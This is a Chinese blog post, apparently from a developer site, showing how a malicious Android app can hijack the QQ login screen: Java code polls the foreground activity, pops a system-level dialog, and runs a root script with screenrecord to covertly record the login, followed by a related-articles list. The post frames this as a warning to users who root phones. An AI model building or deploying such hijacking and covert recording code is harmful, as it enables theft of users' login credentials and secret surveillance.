如今越来越多的手机玩家都为了折腾一些稀奇古怪的东西,或出于好奇,或出于贪心,往往会root手机去尝试安装一些外挂,刷分,刷粉,修改版等等乱七八糟的东西

正因为此类用户的存在,一些小人就盯上了这方面的市场,去开发一些盗取财产,密码,锁机等等

今天我就给大家看一个简单的劫持

这是如何实现呢,其实很简单,当我们安装了不正常的app,app后台会开启一个后台服务,用于循环检测当前顶层页面是否是我们需要劫持的,如果不是,继续检测

new Thread(new Runnable() {

        @Overridepublic void run() {Looper.prepare();while (true) {ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);List<RunningTaskInfo> tasks = am.getRunningTasks(1);if (tasks.get(0).topActivity.getClassName().equals("com.tencent.mobileqq.activity.LoginActivity")) {inject();RunAsRooter();break;}try {Thread.sleep(500);} catch (InterruptedException e) {// TODO Auto-generated catch blocke.printStackTrace();}}Looper.loop();}}).start();

因为考虑到弹窗是需要在主线程中执行的,所以必须调用Looper,每次检测的间隔时间为500毫秒,必须过多检测导致系统卡顿,

检测到后就开启一个弹窗

private void inject() {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle(“提示”);
builder.setMessage(“你的界面已经被劫持了”);

    final AlertDialog dialog = builder.create();dialog.getWindow().setType((WindowManager.LayoutParams.TYPE_SYSTEM_ALERT));dialog.show();
}

由于是全局弹窗,所以必须设置为系统级弹窗,同时需要注意添加权限

so easy

那如何实现后台监控呢,我这里的思路是实现后台录像,安卓4.4以上系统就自带录像功能了,实现方式也能简单
private void RunAsRooter() {
try {
Runtime.getRuntime().exec(“su -c /sdcard/run.sh”).waitFor();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}

}

调用root权限执行sd卡下的一个脚本文件,那这个脚本代码是什么呢,也就一行代码

screenrecord --time-limit 30 /sdcard/demo.mp4

调用system/bin下的可执行文件进行录像,这里设置的时间为30秒,保存在sd卡下,所以这里也需要设置相关权限

当打开QQ登录页面时,后台自动开启录像,这样你的一举一动我就全部知道了

简单的实现app界面劫持和后台监控相关推荐

  1. android的一个app代码怎么写,编写一个简单的安卓app界面

    安卓的用户界面都是由View以及ViewGroup的子类对象组成的.View对象一般是想button或者textview这样的控件,ViewGroup对象是一个看不见的View容器,它定义了如何布局容 ...

  2. APP界面防劫持,处于后台时弹窗提示

    当程序处于后台时弹窗提醒,防止其他APP界面劫持 1. 实现对APP所有Activity生命周期的监控 顶层activity中onStope方法被执行,则认为程序处于后台.由于Activity被销毁或 ...

  3. android ui设计最新字体,2017年最新最直白的app界面设计字体规范

    关于app界面设计字体规范的文章和干货,想必大家都看了不少,其实想要的表达和传递的app界面设计字体规范知识点就4点. 25学堂的小编通过对不同类型的app进行总结,为大家整理出来了2017年最简单明 ...

  4. app安全:如何应对界面劫持

    app安全:如何应对界面劫持 app安全如何应对界面劫持 界面劫持的原理 解决办法 具体实施 在Activity的各生命周期中启动或者停止服务在onResume中开启service在onStart和o ...

  5. MUI框架-05-用MUI做简单App界面

    MUI框架-05-用MUI做一个简单App MUI 是一个前端框架,前端框架就像 Bootstrap,EasyUI,Vue ,为了做 app 呢,就有了更加高效的 MUI,我觉得前端框架有很多,也没有 ...

  6. 界面劫持与反界面劫持

    界面劫持,顾名思义就是正常应用的界面被恶意攻击者劫持,替换上仿冒的恶意界面作恶.界面劫持类攻击极具迷惑性很难被识别出来,界面劫持攻击不仅会给用户带来严重损失,更是移动应用开发者们的恶梦.好消息是,通过 ...

  7. Android——一个简单的天气APP

    一个简单的天气APP 效果演示视频 简述 天气JSON数据 实况天气 逐24小时天气预报 未来七天天气预报 天气详情页 效果图 获取JSON数据 URL请求 实况天气URL 逐24小时天气预报URL ...

  8. 灵感专题—2019年优秀APP界面设计作品赏析#5月

    App界面设计对于设计师而言一直是盛久不衰的话题,尤其是如今越来越多的流量转移到了移动平台,使得更多的UI设计师涌入移动端领域,甚至出现了市场饱和的言论,对于从事移动端的UI设计师来讲,充满压力的同时 ...

  9. php简单网页制作代码,用HTML和CSS以及JS制作简单的网页菜单界面的代码

    这篇文章主要介绍了使用HTML+CSS+JS制作简单的网页菜单界面,这个ABROAD项目所使用的JavaScript部分代码非常简单,需要的朋友可以参考下 写ABROAD项目用到了标签这个东东,其实标 ...

最新文章

  1. Strutsw2与Spring整合流程-简述
  2. Mysql sql优化(一)
  3. 西部数码虚拟主机服务器配置,西部数码虚拟主机设置首页功能介绍
  4. python内置函数(2)-递归与迭代
  5. java多线程之线程的安全性(一)
  6. java运行字符串代码
  7. sql聚集索引和非聚集索引_SQL Server中非聚集索引概述
  8. [Unity 3D] Unity 3D 性能优化 (一)
  9. 【Android基础】android shape详解
  10. H5混合开发二维码扫描以及调用本地摄像头
  11. Mac与Windows双系统与虚拟机
  12. the system requirements are not satisied或Android Studio不支持HAXM
  13. 生意参谋爬虫难点一 ——十六进制数据解密
  14. 电子计算机为什么123安不出来,方正软件常见问题及其解决办法-精.doc
  15. 字节跳动A/B实验背后的秘密:样本量计算
  16. 凹点匹配分割 matlab,基于凹点和重心检测的粘连类圆形目标图像分割
  17. FLUKE OTDR光纤断点测试仪OFP2-100-Q特色功能及亮点分析
  18. 记录解决问题--Linux服务器连接超时
  19. 为何国外的人都爱用电子邮箱?注册电子邮箱有哪些好处呢?
  20. 解决Win10 VirtualBox无法启动(VERR_NEM_VM_CREATE_FAILED)

热门文章

  1. word生成目录右对齐
  2. 《Flutter入门疑难杂症》imagepicker ImagePicker().getVideo()返回.jpg
  3. (九) 正则表达式——文本处理(用s///替换、split与join函数、列表上下文中的m//、非贪婪量词、文件更新等)
  4. phpstorm 用git pull或者 git push报错 protocol error: bad line length character: Acti
  5. 软件工程与计算机科学的联系与区别
  6. win10 应用程序exe图标突然变成白色,怎么恢复?
  7. 天天炫斗服务器维修,【天天炫斗】弱网处理及断线重连方案
  8. 软件史上的10大bug
  9. 通过AD域验证登录Linux系统(Linux安装sssd加入Windows AD域)
  10. authconfig‐tui_openldap(3)linux 、ldap、sssd 认证